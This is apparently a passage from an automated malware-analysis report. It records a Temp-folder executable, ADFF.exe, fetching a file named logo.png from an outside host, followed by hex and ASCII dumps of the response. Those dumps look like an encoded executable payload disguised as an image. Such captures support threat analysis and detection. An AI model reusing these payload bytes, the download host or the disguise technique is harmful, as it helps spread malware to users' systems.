47 06 ab 0a 46 be e2 fa 47 d7 11 01 c7 0b 85 e9 87 8a e5 ec 63 6a 6b b2 75 4c cb 06 47 ce ca c3 43 8e c0 df a5 3a 47 44 42 c1 de 13 c6 5b 77 8a 07 8e 2f a6 a7 26 8b 0b Data Ascii: d\|pejegrNeHFkfedAeH2rj9dffdfwOjbZSed>NO*G$CFFFjck`Zf'_7G(_VzGK%t'jehf1GFGcjkuLGC:GDB[w/&
2022-08-30 13:55:00 UTC	548	IN	Data Raw: 2e b1 8c 57 64 87 75 ce 30 a5 3e f3 7c b0 65 d7 14 b1 14 64 c1 b1 7d a8 fc 3f 7c cd 16 b1 bc 67 6d a0 57 a8 5a a5 ce cb a7 a2 78 f5 2a a0 9f 66 5a af 61 93 5c 91 5e a9 64 a4 e5 2b 49 85 6c ca 35 ca 30 a5 fe 33 61 ad 6c 70 ba ac cd a0 c1 ac 60 a1 8e 44 61 6c aa ac 91 57 6d c0 88 13 5e a5 ba 77 61 ad 6c f0 94 3e 5d 6c a1 ac 60 a1 b5 7f 61 50 96 ac 64 a3 6c 49 83 ac 71 49 91 a2 9a 96 ab a0 75 87 50 a5 4a 07 ef 23 e8 c4 37 a3 51 a5 46 0b ef 23 e8 e5 9b 2d 52 a5 26 6b ef 23 e8 f9 b7 22 39 91 8a 22 ee 25 0d 43 ef d2 9a 22 1f d6 eb 24 f0 05 53 a5 3a 32 aa b6 7e 07 4a 24 b8 f6 eb c6 cd 65 1d d5 eb 25 f9 0b d6 74 b9 36 fa 25 d9 ba 47 22 c7 8f ef 23 e8 75 3b 22 d3 9b ef 20 08 c7 e9 ef 1c 98 68 6b 26 22 ae e7 e8 09 85 e7 68 7f 32 22 ee 25 33 46 51 22 93 db ef 23 e8 Data Ascii: .Wdu0>\|ed}?\|gmWZx*fZa\^d+Il503alp`DalWm^wal>]l`aPdlIqIuPJ#7QF#-R&k#"9"%C"$S:2~J$e%t6%G"#u;" hk&"h2"%3FQ"#
2022-08-30 13:55:00 UTC	555	IN	Data Raw: 8b 1e b3 c6 9b 37 0b 86 e3 d6 b6 a3 20 8d 0a 46 8e a2 75 b8 55 9c 61 97 51 9c 51 9c 51 85 48 fb 7e e8 69 07 9e 9e 04 a4 5a f7 0a ff 52 c7 0f a3 0a 62 4a 43 0a d6 1b 06 cb c6 17 db 7f b6 6e 53 86 bb 6e 1f 93 86 0a cf f1 57 69 8b 26 c7 d6 5a cb 45 ac 75 78 a3 c2 6f 0a 4f f2 2f 91 a4 ee 43 0a c6 0c c1 0b 67 fa 08 96 a4 6a c7 0a cf 62 c3 72 ba 0b c7 5e 63 99 a4 d2 1b 6a 87 4e 9b 36 c3 c6 4c c9 c1 cd 82 0e c7 f6 19 4c a3 0b 00 4d 86 b9 e1 9f 16 4d f1 0a e0 4d c7 20 8d 0a e9 71 92 0a f7 de 43 3d 14 8e fa d7 47 61 b9 1f c7 8e 23 0a 5f 76 43 6e a2 6b 0d c0 46 8a ac 80 47 a5 08 08 6b c4 c7 c0 54 53 c7 36 9b 0a ad 00 c7 63 4e 88 5b 85 d6 0a e7 2b f9 35 98 51 9c 51 9c 51 9c 51 2c da 9c 51 9c 51 9c 5a 97 6f a6 72 2f fb e3 1f 97 ea 2c 63 a4 6b a5 68 a6 5b 93 6e a7 14 Data Ascii: 7 FuUaQQQH~iZRbJCnSnWi&ZEuxoO/Cgjbr^cjN6LLMMM qC=Ga#_vCnkFGkTS6cN[+5QQQQ,QQZor/,ckh[n

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49738	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:55:06 UTC	558	OUT	GET /logo.png HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-30 13:55:06 UTC	558	IN	HTTP/1.1 200 OK Date: Tue, 30 Aug 2022 13:55:06 GMT Content-Type: image/png Content-Length: 67409 Connection: close Last-Modified: Wed, 24 Aug 2022 05:04:02 GMT ETag: "10751-5e6f59c08b027" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4690 Accept-Ranges: bytes Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w%2Froh%2F24AKLZ38Zpp7P3FudlQLUDAgAu8Q9PW2rSMTNrqQC8LLajmojm1BYupIwGJb14oXK7G9TEaT2pfJNOwb9b0jIVQCCPwFzF95N9aT9lIKzxs2kkDUVUJc7poF1Iog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 742e05b02a2fbbd9-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-30 13:55:06 UTC	559	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 10 00 00 00 5c 08 06 00 00 00 a6 e7 ea b6 00 00 17 18 49 44 41 54 78 01 ed 5d 0b 94 1c 55 99 be 3a d3 81 c0 2e 82 c2 2a 82 08 12 10 90 05 92 aa 9a 84 90 d8 5d b7 7b b2 41 e2 41 81 28 b8 bb 0a 08 8a 1b 5c 84 98 05 e5 31 9a ae 9a 09 89 c0 02 0a 41 40 36 e1 81 06 17 10 1f 90 cc 24 01 f4 08 28 c8 43 58 58 7c 10 1e 64 fa 11 92 49 55 75 1e 99 64 7a ef b7 e6 b8 a4 b7 67 e6 bf d5 75 bb aa 87 fb 9d 73 4f e7 31 d3 d3 67 ea d6 57 ff fd ff ef ff 7e 16 07 66 76 ad db 2b ed 54 4c ee 7a a7 71 d7 9f 63 bb c1 65 b6 eb 3b dc f1 7b c4 df e7 8b bf 5f 22 d6 b9 d9 ee 60 56 da f5 8f 4e 77 55 77 67 1a 1a 1a ef 4c a4 7b 36 1f cc 9d ca 79 dc 0d ee b2 5d ff cf e2 b5 2a b3 32 79 6f bb 78 7d 5e 7c ef cd dc f5 ff 29 dd e5 ed cb Data Ascii: PNGIHDR\IDATx]U:.]{AA(\1A@6$(CXX\|dIUudzgusO1gW~fv+TLzqce;{_"`VNwUwgL{6y]2yox}^\|)
2022-08-30 13:55:06 UTC	560	IN	Data Raw: a9 8d 24 6d d3 4e 65 8a 20 b2 1b 33 79 3f d0 e4 a1 a1 09 a4 05 c0 5d ff 98 8c 1b 6c 0c 29 f2 7a c1 ce fb 67 88 5e 96 76 16 21 10 9d d8 ae ff 2d ee 06 be 26 0f 0d 4d 20 09 45 67 97 ff 77 c8 4b 84 20 0f 9f 3b fe d7 40 1c 71 69 50 34 79 68 68 02 89 11 b3 97 55 db 6c 37 58 2d 1f 75 f8 bf ce 2d d8 74 50 93 8f 58 9f 15 44 e2 69 f2 d0 d0 04 92 10 70 27 b8 54 3e 59 19 5c 6f dc 54 4d b1 18 90 ed de 78 78 26 1f fc b7 26 0f 0d 4d 20 09 c8 7b f0 bc b7 4d 2a 51 ea 04 df 40 a2 93 c5 08 b4 f9 c3 43 84 69 68 68 02 89 07 5d 5d d5 77 73 d7 7f 4c 92 3c e6 31 0d 0d 0d 4d 20 82 0c 3e 2f 79 6c b9 86 1e 79 68 68 8c 59 68 02 99 79 ed d0 6e dc f5 d6 48 94 69 57 21 d9 ca 34 34 34 34 81 70 27 38 47 82 3c d6 a1 8c ca 34 34 34 34 81 20 f7 21 d3 24 27 92 95 5f 60 80 86 86 86 26 10 f4 Data Ascii: $mNe 3y?]l)zg^v!-&M EgwK ;@qiP4yhhUl7X-u-tPXDip'T>Y\oTMxx&&M {M*Q@Cihh]]wsL<1M >/ylyhhYhynHiW!4444p'8G<4444 !$'_`&
2022-08-30 13:55:06 UTC	561	IN	Data Raw: 72 f3 d8 27 90 ca b0 09 3e 30 b8 5c e8 67 bd 56 e0 1d 9f 82 d0 87 2c 08 ca 9a a7 a2 da 22 75 94 b1 cd ab 68 15 97 d4 35 92 79 8a 57 07 fb c6 7d b2 5a a5 7d 7e 7c 9d f8 fa 4f 0b 52 78 5d 92 48 ae a3 89 1d bd b4 e4 30 b1 0a 26 03 50 3d 7a f1 75 20 12 4c 45 4c 0a 81 40 22 50 b0 8d 8d f4 bd 60 bc 55 b2 8d 33 a8 7b ee 95 74 7a 77 99 72 70 d1 ee 98 51 27 02 f1 bf 4f 22 90 7c 70 f7 98 3f c2 e4 fd 8b ea 32 76 6e f2 91 82 10 76 48 d4 d2 1f 1c 98 36 6d 1f 16 02 d0 7b 40 90 26 75 46 b5 cd 8f b2 11 b0 65 c5 b8 23 c5 f1 63 87 c4 51 e5 67 d5 5e f6 1e 16 02 43 0f b1 f7 8a 23 ce 72 99 ca cc 96 87 c6 1d 31 aa d5 c4 4e b1 23 71 fd 11 92 83 b0 09 5a 54 77 92 40 20 90 a4 4b 44 a3 cf 23 ca 0d 59 51 5c 48 8c 42 9e c5 91 aa 36 2c bc 92 96 44 f5 1e 1c f3 11 88 13 5c 3c cc 85 5c Data Ascii: r'>0\gV,"uh5yW}Z}~\|ORx]H0&P=zu LEL@"P`U3{tzwrpQ'O"\|p?2vnvH6m{@&uFe#cQg^C#r1N#qZTw@ KD#YQ\HB6,D\<\
2022-08-30 13:55:06 UTC	562	IN	Data Raw: 88 e5 f7 4f 30 85 40 29 b7 99 04 a2 d0 fb 03 e5 fe 97 e1 34 06 ad 49 ac f3 61 20 b0 81 ad 5c a2 93 a7 f0 7e a0 85 c0 0b eb 37 19 99 4b 28 17 05 8a 51 b5 f6 89 93 26 d1 7b 62 e4 7b 60 d0 6c a7 7c 54 04 2d 99 bb a4 46 09 3a a7 d1 2e ea 88 1e ac ab 9a 49 20 d4 be 14 ea 82 8e 08 0f 97 02 37 3a d5 46 cb b8 e9 1c ef 37 12 d2 e1 97 09 03 79 62 01 54 a5 e4 2e dc f9 fe df 0f 43 20 57 d0 ea f1 a6 9a 61 5b f2 2e 68 97 d5 10 c8 15 94 1b 77 fb ca d4 19 8a 75 20 67 12 d5 b0 f3 43 3e d0 be a7 f2 9e c0 10 aa 66 12 08 a1 91 92 6e 60 c5 cd fc 5b 33 cc 0f b1 66 01 73 6f 25 4d 78 1e 22 f4 c8 34 15 e9 05 95 03 a9 dd 94 10 d1 0d 7f e3 9a a7 13 2f d6 0f 98 42 60 68 10 d1 bf f2 33 ec 6d d8 de 97 3a 9d 56 3e 6d bb 45 71 19 f7 0e ca e7 c0 e7 dd c5 81 2c bf f9 10 e2 3e 7c 89 29 42 Data Ascii: O0@)4Ia \~7K(Q&{b{`l\|T-F:.I 7:F7ybT.C Wa[.hwu gC>fn`[3fso%Mx"4/B`h3m:V>mEq,>\|)B
2022-08-30 13:55:06 UTC	564	IN	Data Raw: a1 ea 17 c8 63 29 3e 4f 08 61 d7 17 71 5d df 49 c3 b5 d1 f8 86 26 b8 b8 f7 1c 92 b5 fd 9d 1d 87 44 d2 26 6f 3b c1 3c 82 d5 5b ac 2b e3 06 1b 33 4e 70 12 8b 10 90 07 13 7c 42 94 ae 02 37 7f 86 a4 57 58 6f 0e f8 84 c4 3c 99 7f 39 e6 cf 28 f0 78 69 61 02 21 e4 29 b2 46 7f 5c 7b 0e 15 a1 72 ce 32 a3 76 6a 9a 44 b0 7b 8b 65 a1 29 d0 ce 0f 1c ca 14 00 21 1c 21 ac 54 b4 8c 7b 1b a9 cd 03 d5 07 d8 1e 68 f5 8f 29 f2 78 00 43 a7 1a 6e 70 73 fd f9 ef 24 02 01 30 8f 05 89 d2 38 22 0f ba 6f 48 88 9a 39 66 ca 66 f2 c1 40 42 8e 2c 9b 60 85 a7 da 76 11 2e 64 45 6e 5d dd e4 0b b9 10 3f 37 42 93 9f ab 9b 4a 20 bd a9 ef 10 c6 66 92 81 41 52 2a a3 60 e4 5b 50 12 8e 9d 40 6a 12 ee c8 a7 35 71 cf fd be 90 35 3f c2 54 03 c2 2c 54 56 70 03 c7 73 5c 81 fd bf b7 04 19 75 d6 44 94 Data Ascii: c)>Oaq]I&D&o;<[+3Np\|B7WXo<9(xia!)F\{r2vjD{e)!!T{h)xCnps$08"oH9ff@B,`v.dEn]?7BJ fAR*`[P@j5q5?T,TVps\uD
2022-08-30 13:55:06 UTC	565	IN	Data Raw: 11 a5 b4 0e b4 bd c4 ec 99 b9 4d 81 ec 75 3c 01 1a 53 50 02 1d 08 15 13 0c 4d 43 02 0f 00 01 1b 54 42 07 45 52 07 1b 4e 49 07 4e 64 0b 1c 73 4d 02 0b 01 4b 23 00 07 2e 24 00 00 00 00 00 00 e8 c1 48 db 16 e4 47 e6 45 e4 47 e6 45 e4 47 e6 62 05 fc 9b 55 f4 47 e6 62 05 ef 88 5c fd 47 e6 62 05 ec 8b 02 a3 47 e6 86 28 15 bb 46 e7 47 e6 45 e4 46 e7 09 a8 47 e6 62 05 f3 94 44 e5 47 e6 62 05 fb 9c 44 e5 47 e6 62 05 f9 9e 44 e5 47 e6 bb 3b 0a 0b c4 e4 47 e6 e9 00 00 00 00 00 00 00 50 15 45 00 4c 4d 04 05 80 de 5e 63 63 00 00 00 00 00 00 00 e0 e0 02 23 2a 0a 09 08 00 70 70 00 00 70 70 00 00 00 00 00 a4 b3 17 00 00 10 10 00 00 80 80 00 00 00 00 10 10 10 10 00 00 10 10 00 04 04 00 00 00 00 00 00 04 04 00 00 00 00 00 00 00 00 01 01 00 10 10 00 bf a0 1e 01 02 02 00 00 Data Ascii: Mu<SPMCTBERNINdsMK#.$HGEGEGbUGb\GbG(FGEFGbDGbDGbDG;GPELM^cc#*pppp
2022-08-30 13:55:06 UTC	566	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:55:06 UTC	568	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-30 13:55:06 UTC	569	IN	Data Raw: b9 10 d7 83 60 2c 6c 08 09 65 c7 83 60 20 61 2d 29 0f a9 c3 20 67 2f 03 1c 06 63 1f 0c 79 c5 b9 10 78 60 9a 92 10 ef ea 15 80 80 10 b3 db c1 b9 10 9b 86 75 c1 b9 10 9d 89 20 74 01 ae ea 11 84 80 10 95 45 b4 73 8c df 70 34 42 ad 2f e3 f3 43 47 c8 cf 0f 4f 6f e0 87 cf 60 34 91 ac fd 7c ac 10 23 57 41 24 52 60 e8 e0 f8 96 02 de d5 78 28 85 d5 78 34 64 76 8b 91 93 b6 3d 80 80 10 a8 9a 74 15 62 08 2c b1 18 ac 10 39 2c bd 14 ac 10 39 2c b5 1c ac 10 e6 f3 79 c5 b9 10 11 74 66 90 8e 71 c5 b9 10 11 69 60 9a 92 10 ef 28 74 db c1 b9 10 b1 d9 c1 b9 10 9b a6 29 84 80 10 78 d8 1c ac 10 40 af 2a ee f8 4a cd 60 30 1b 8b 0e 8b 01 00 f6 f3 79 c5 b9 10 11 74 66 90 8e 71 c5 b9 10 11 69 60 9a 92 10 ef 28 74 db c1 b9 10 9b 86 75 c1 b9 10 78 a4 60 ac 10 41 ae 2a 5e 53 5d 5e d4 Data Ascii: `,le` a-) g/cyx`u tEsp4B/CGOo`4\|#WA$R`x(x4dv=tb,9,9,ytfqi`(t)x@J`0ytfqi`(tux`A^S]^
2022-08-30 13:55:06 UTC	570	IN	Data Raw: 17 19 e2 13 00 ff ea 19 8c 80 10 b3 7b 62 ba 10 f8 44 be 12 00 a3 a7 a9 ad 10 f8 02 e6 0c 00 85 45 bd 7a ef 0e e0 06 00 eb 27 24 31 c8 11 00 85 45 bc 5c c8 b5 52 0f 00 85 45 bc 6b 7d 6a e8 15 fe 03 00 85 45 99 2c 7e f4 fa 05 ad ad 10 f9 45 ac 00 00 e8 19 ff 0e 00 eb 22 fa cc c4 fc b2 40 0c 04 3d ad ad 10 1f 81 7a 0a 01 00 00 f2 0d ad ad 10 29 04 41 cc b0 10 65 70 ed da 37 05 00 39 44 6d 65 0e 93 28 ce 0e 00 e8 68 86 06 00 e8 88 74 14 00 eb 81 e9 7b fa 77 2c b1 ad 43 06 00 68 7c 16 02 00 6a 6b e9 23 c0 0b 00 8b 7b cb cc ae 00 56 8b 2d 57 01 00 a9 a9 ca 39 ac a0 10 ef ca b9 3c b0 10 f8 47 aa 05 00 59 a6 2f 55 45 b4 63 40 01 be 9c 72 06 00 59 00 a6 ea 1d 88 80 10 93 cd 4a fb 76 8f ed f3 4e be 53 b1 0a 00 59 b0 84 93 01 00 7c 7b fb 76 72 50 bf 55 b5 08 00 59 Data Ascii: {bDEz'$1E\REk}jE,~E"@=z)Aep79Dme(ht{w,Ch\|jk#{V-W9<GY/UEc@rYJvNSY\|{vrPUY
2022-08-30 13:55:06 UTC	572	IN	Data Raw: 10 f8 de c8 01 00 a6 9e 82 b9 02 01 00 00 17 f7 1f 00 00 83 fe 6d 10 75 5d a1 bc b5 30 b0 10 7a 62 e0 6d 93 16 00 59 a6 8a 7d e0 0e 1b 02 00 cc c5 b0 c5 fe 6d 10 74 7c 62 62 e0 84 7a 16 00 59 9a 2b 71 88 11 00 c3 a9 6a 6a 6b fe 8b 50 28 e4 cd da 00 00 7c 47 c8 cf a9 6b 6b 6a 6a 6a e8 fe e9 00 00 7c 47 c8 cf 95 be 41 a9 00 00 8b 7b a6 be da 2c 1e 00 56 be a5 50 1d 00 56 be db 24 17 00 56 be df 2a 1d 00 56 be cf 3a 1d 00 56 be ff 0c 1b 00 56 be 9d 7a 0f 00 56 be 12 e0 1a 00 68 2d 5e 1b 10 f8 e2 0a 00 00 83 47 e0 87 ab a8 a0 10 4e 9d 95 a9 ca 25 b0 a0 10 9b be 09 bc 80 10 ef 29 53 45 b4 55 80 ad ac a0 10 93 7b 07 8b 63 47 af ca 25 b0 a0 10 ef 29 29 2f 55 45 b4 7c 83 0b 78 f9 01 00 eb f0 73 08 e1 81 10 ef ea 21 b4 80 10 95 45 b4 6e 72 38 d1 81 10 40 af ea 11 Data Ascii: mu]0zbmY}mt\|bbzY+qjjkP(\|Gkkjjj\|GA{,VPV$V*V:VVzVh-^GN%)SEU{cG%))/UE\|xs!Enr8@
2022-08-30 13:55:06 UTC	573	IN	Data Raw: b0 10 90 9c 1c 10 99 bc b9 3c b0 10 b3 33 20 b0 10 ef ea 55 c0 80 10 93 7b 07 5c b3 b0 a0 10 1f 8b 48 cc 00 00 ff ca bd 38 b0 10 40 af 29 53 45 cf 8b 3f bb 00 00 e8 3b 29 05 00 00 ca b1 34 b0 10 f8 fc ef 04 00 00 ca bd 38 b0 10 b3 27 34 b0 10 f8 ec ff 04 00 00 ca b9 3c b0 10 b3 2b 38 b0 10 f8 1c 0e 05 00 00 ca a5 20 b0 10 b3 2f 3c b0 10 f8 0c 1e 05 00 7c 47 d4 b3 33 20 b0 10 f8 d9 21 10 00 85 45 b4 11 0d 57 21 1e 10 ef ca b1 34 b0 10 f8 c7 d4 04 00 a6 a6 2f 53 7b 07 5c af ac a0 10 64 3c 20 7c 16 02 00 6a 6b e9 fc 15 01 00 8b 7b 75 73 af 00 2d 40 62 a9 ca 39 ac a0 10 ef ca b9 3c b0 10 f8 14 06 05 00 a6 a6 2f 55 45 b4 6f 71 6a 56 be 28 3b 04 00 a6 00 a6 ea 1d 88 80 10 93 cd 4a fb 76 8f 35 f3 80 ab ec ef 83 90 04 00 cc f3 9e 01 9c a9 66 64 70 8b 93 10 f8 d7 Data Ascii: <3 U{\H8@)SE?;)48'4<+8 /<\|G3 !EW!4/S{\d< \|jk{us-@b9</UEoqjV(;Jv5fdp
2022-08-30 13:55:06 UTC	574	IN	Data Raw: 00 d0 8e 73 3e 1c 03 05 b8 9d 58 2d 00 83 47 c8 89 45 b4 79 5e 00 00 00 00 bb 06 e2 0c 00 83 47 d0 97 44 c3 07 f6 cd 26 6b c9 43 ca 31 a9 ad 10 f8 80 93 04 00 76 94 19 a9 ad 10 99 96 d8 c2 c5 7a ba 10 11 01 00 00 33 f3 99 04 02 01 05 98 3c ca 55 d0 b0 10 f8 ab b8 04 00 76 94 7d d0 b0 10 93 4b 37 14 0f b1 de 67 bd da c6 5d 43 60 f3 f9 7c 4d 5e df 8e 8c 79 79 de 59 cb c6 00 01 00 00 74 7d 82 d6 55 8b c6 4d 0c 8d 9a 9a cc b9 7c be 1c 57 65 23 f3 f9 7c b9 4f 91 2d 9b 54 86 cf cc b9 17 d7 c3 f8 82 57 a6 7c 82 8c 8e 8a 40 cb dc 59 86 94 11 b9 75 93 16 ae e7 21 2e 00 85 45 99 2d 67 ec f8 84 fe 71 0c 74 7e 81 c6 41 86 8c f9 ba 49 84 89 47 c2 5f 50 de 59 87 c6 5d 64 46 b1 fe 81 fc 75 dc 29 7b db 54 71 85 7b f2 7c ea 1a 57 a6 70 c2 84 bd ff 83 e6 99 fc 80 be 3e 0f Data Ascii: s>X-GEy^GD&kC1vz3<Uv}K7g]C`\|M^yyYt}UM\|We#\|O-TW\|@Yu!.E-gqt~AIG_PY]dFu){Tq{\|Wp>
2022-08-30 13:55:06 UTC	576	IN	Data Raw: 10 4d 9e 00 96 de 67 bd 00 07 be 64 7e 0d 00 74 7b 75 73 83 7b f1 8a 79 f3 ea 3d a8 80 10 f9 a4 4c 01 00 8b dd 0a fd 65 64 a0 10 47 dc f6 75 83 41 99 6a 00 4d 7a 85 53 b3 b0 d7 8f 42 cd 0f d9 e1 f0 b9 9c 85 ab cc 0f c1 f9 f3 bb 7b 31 00 4c 71 8f 4a 2a e9 31 f3 45 45 b4 7e 81 d3 50 8d 5e 52 d4 a1 89 7b f1 8a 79 f3 ea 3d a8 80 10 f9 12 fb 00 00 83 78 fe 70 79 8f e3 68 08 33 f3 80 a9 03 ea 00 00 83 78 fa 0e 8b 5a de 00 00 8b c5 2e e9 c4 b5 73 c6 41 85 c7 2e eb c3 4c 87 7a f1 07 8a 3d b8 00 00 8b 86 b5 18 a0 10 9b b6 81 1c a0 10 9b 5a d2 fa c2 ec aa 59 4f a2 c5 87 f5 22 df e7 5d 31 08 8b b6 85 18 a0 10 9b 96 a1 1c a0 10 52 41 dc 5c 42 cd 37 e8 af 9e 69 d6 a1 77 8b 3d b3 8e 00 c0 4b f5 1a 11 7c ce 81 22 e7 83 00 00 eb b5 63 ad 90 00 c0 b5 7c ce 81 22 e5 81 00 Data Ascii: Mgd~t{us{y=LedGuAjMzSB{1LqJ*1EE~P^R{y=xpyh3xZ.sA.Lz=ZYO"]1RA\B7iw=K\|"c\|"
2022-08-30 13:55:06 UTC	577	IN	Data Raw: eb cb c9 31 6c a0 10 43 06 bd 91 53 2a 00 83 47 c8 89 45 b4 79 5b 00 00 00 00 be d3 39 02 00 83 47 d0 7c 78 30 21 01 68 68 87 87 10 45 bd 5f 9f 28 00 83 47 c8 e7 d8 59 9e 0b ea 71 e4 80 10 9b 63 d3 d5 9a 51 a6 7e 02 8b 54 4a 6a 8d c9 60 30 44 dd b9 c9 31 6c a0 10 ef c9 de 37 fd 22 00 59 09 af c9 63 aa ea bd 28 80 10 4d 02 01 05 02 9a a9 69 eb dc 1f 2b 00 83 7b f9 58 2d 61 7f 69 eb cf 0c 2b 00 85 45 99 2c 6a 9c be 2d bd ad 10 11 74 63 7e 94 fc 00 00 e8 dc ca 01 00 97 97 ff 00 00 e8 c2 d4 01 00 a6 00 9a 95 01 64 c5 49 7f 74 b4 10 93 bf c9 71 25 a1 10 11 74 6b 93 89 f1 75 21 a1 10 99 b1 50 c8 af 0f 00 ff cf b3 44 df f0 42 ad 07 00 85 45 99 00 2d 78 4a c5 7d da 58 ae e1 f3 80 1f 01 9d 40 a7 d1 75 21 a1 10 10 33 f3 2b 1a a2 d8 96 6d f0 80 10 46 e8 3e 21 a1 10 Data Ascii: 1lCS*GEy[9G\|x0!hhE_(GYqcQ~TJj`0D1l7"Yc(Mi+{X-ai+E,j-tc~dItq%tku!PDBE-xJ}X@u!3+mF>!
2022-08-30 13:55:06 UTC	578	IN	Data Raw: f6 55 47 05 59 b8 c6 77 35 e1 57 73 a1 da c9 4c 10 6e 68 95 f7 58 30 9f c3 44 37 c2 8b 7b 82 d3 50 0b da e2 c0 89 7e 8f 41 c3 82 43 e8 13 ed a4 94 d5 f3 9f 01 05 98 a9 62 60 f0 0b 93 10 f8 72 6c 09 00 7c e6 99 fc ba ba 00 00 10 42 ba 9b 8c 00 00 a6 dc 45 b4 49 b6 ce 4d 23 e9 92 02 ba 7a 6d 00 00 a6 00 dc 45 b4 5f a0 cb 64 e5 29 f7 e8 27 53 63 e1 c6 82 b9 02 01 00 00 14 cb ab ce a9 67 8b 8b 8b 33 fa f4 38 05 00 c0 cf 9b 55 4a 4a 02 48 ee 8d 2f 82 b9 02 01 00 00 cc f3 28 68 76 09 00 3c a9 62 60 d0 2b 93 10 f8 c6 d8 09 00 17 50 5f 18 00 74 cb 38 fd 45 b4 62 95 e6 99 fc ff 2f 3b ec 34 f3 80 83 48 ee 8d 2f 82 b9 02 01 00 00 17 1d d3 26 00 e8 af b1 09 00 3c ab 36 68 36 10 f8 f8 f5 1a 00 a6 fa b7 a2 b6 10 d3 48 cf 60 20 a7 bb ae b6 10 b3 bf aa b6 10 b3 83 96 b6 Data Ascii: UGYw5WsLnhX0D7{P~ACb`rl\|BEIM#zmE_d)'Scg38UJJH/(hv<b`+P_t8Eb/;4H/&<6h6H`
2022-08-30 13:55:06 UTC	580	IN	Data Raw: dd ff 50 34 47 dc b6 71 cc 80 10 46 a9 28 5c 0d 36 b0 00 00 85 45 b4 77 53 af 28 5c 0d 3e b8 00 00 85 45 b4 77 53 af 28 5c 0d 32 b4 00 00 85 45 b4 77 53 af 28 5c 0d 46 c0 00 00 85 45 b4 77 53 af 28 bd 6c 8b d3 0e 0d dc fa 83 b8 e4 a4 10 64 7d 82 88 86 45 b4 77 53 af 28 54 f8 87 fc 74 7e 81 c8 47 81 45 b4 77 53 af 28 54 40 d3 5d 38 ad 53 0d 52 d4 00 00 05 b1 b4 00 00 50 af 28 88 01 03 06 98 95 dd ff 50 2c 8d 73 82 0b 2c 06 02 dc b6 65 d8 80 10 46 a9 28 5c 0d 36 b0 00 00 85 45 b4 77 53 af 28 5c 0d 3e b8 00 00 85 45 b4 77 53 af 28 5c 0d 32 b4 00 00 85 45 b4 77 53 af 28 5c 0d 46 c0 00 00 85 45 b4 77 53 af 28 bd 6c 8b d3 0e 0d dc fa 83 b8 e4 a4 10 64 7d 82 88 86 45 b4 77 53 af 28 54 f8 87 fc 74 7e 81 c8 47 81 45 b4 77 53 af 28 54 40 d3 5d 38 ad 53 0d 52 d4 00 Data Ascii: P4GqF(\6EwS(\>EwS(\2EwS(\FEwS(ld}EwS(Tt~GEwS(T@]8SRP(P,s,eF(\6EwS(\>EwS(\2EwS(\FEwS(ld}EwS(Tt~GEwS(T@]8SR
2022-08-30 13:55:06 UTC	581	IN	Data Raw: 10 11 01 00 00 eb 2f fc 65 a1 88 73 8c ce bd 7b e3 10 8d 76 4d 9d 92 0a 96 de 67 6f 6f cc 81 a1 a0 a0 10 23 f6 4c cc b9 af d8 d6 51 5a dd fe 7d 5f bf 80 97 00 00 74 73 cb c5 cd c5 77 f4 75 7d 7b 85 48 2b b9 ad 03 00 cc f3 29 8c 64 01 00 89 fc 91 d7 f3 f9 81 d8 c9 a9 10 64 13 98 ba a1 67 43 f0 0d cd f0 00 00 72 99 66 c8 ad b8 07 a8 ea a9 3c 80 10 95 45 cf 8b ad 28 01 00 68 69 00 01 00 8d ce 5f 4a 06 b8 80 73 1b 00 33 e1 90 c1 47 c8 35 6c bd 61 f2 7f 8d fa 7f 03 89 7e f8 00 00 80 fd 93 ee 0f 8b 4b cf 00 00 8d f8 9a 65 84 8a 4d c6 8b 46 c2 00 00 0f b9 f0 